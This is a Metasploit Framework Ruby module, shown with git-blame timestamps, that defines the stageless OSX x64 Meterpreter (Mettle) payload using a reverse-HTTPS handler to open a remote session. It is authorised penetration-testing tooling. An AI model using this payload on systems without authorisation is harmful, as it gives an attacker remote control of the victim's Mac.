2017-05-26 15:55:42 +08:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2017-05-26 15:55:42 +08:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2017-07-18 13:13:38 -05:00
|
|
|
require 'msf/core/handler/reverse_https'
|
2017-05-26 15:55:42 +08:00
|
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
|
|
|
require 'msf/base/sessions/mettle_config'
|
2017-07-18 13:13:38 -05:00
|
|
|
require 'msf/base/sessions/meterpreter_x64_osx'
|
2017-05-26 15:55:42 +08:00
|
|
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
|
|
2019-05-31 09:32:44 -05:00
|
|
|
CachedSize = 813560
|
2017-07-18 13:13:38 -05:00
|
|
|
|
2017-05-26 15:55:42 +08:00
|
|
|
include Msf::Payload::Single
|
|
|
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
|
include Msf::Sessions::MettleConfig
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
2017-07-18 13:13:38 -05:00
|
|
|
'Name' => 'OSX Meterpreter, Reverse HTTPS Inline',
|
2017-05-26 15:55:42 +08:00
|
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
|
|
|
|
'Author' => [
|
|
|
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
2017-10-30 14:04:10 -05:00
|
|
|
'Brent Cook <brent_cook[at]rapid7.com>',
|
|
|
|
|
'timwr'
|
2017-05-26 15:55:42 +08:00
|
|
|
],
|
|
|
|
|
'Platform' => 'osx',
|
2017-07-18 13:13:38 -05:00
|
|
|
'Arch' => ARCH_X64,
|
2017-05-26 15:55:42 +08:00
|
|
|
'License' => MSF_LICENSE,
|
2017-07-18 13:13:38 -05:00
|
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
|
|
|
|
'Session' => Msf::Sessions::Meterpreter_x64_OSX
|
2017-05-26 15:55:42 +08:00
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def generate
|
2017-07-18 13:13:38 -05:00
|
|
|
opts = {
|
|
|
|
|
scheme: 'https',
|
|
|
|
|
stageless: true
|
|
|
|
|
}
|
|
|
|
|
MetasploitPayloads::Mettle.new('x86_64-apple-darwin', generate_config(opts)).to_binary :exec
|
2017-05-26 15:55:42 +08:00
|
|
|
end
|
|
|
|
|
end
|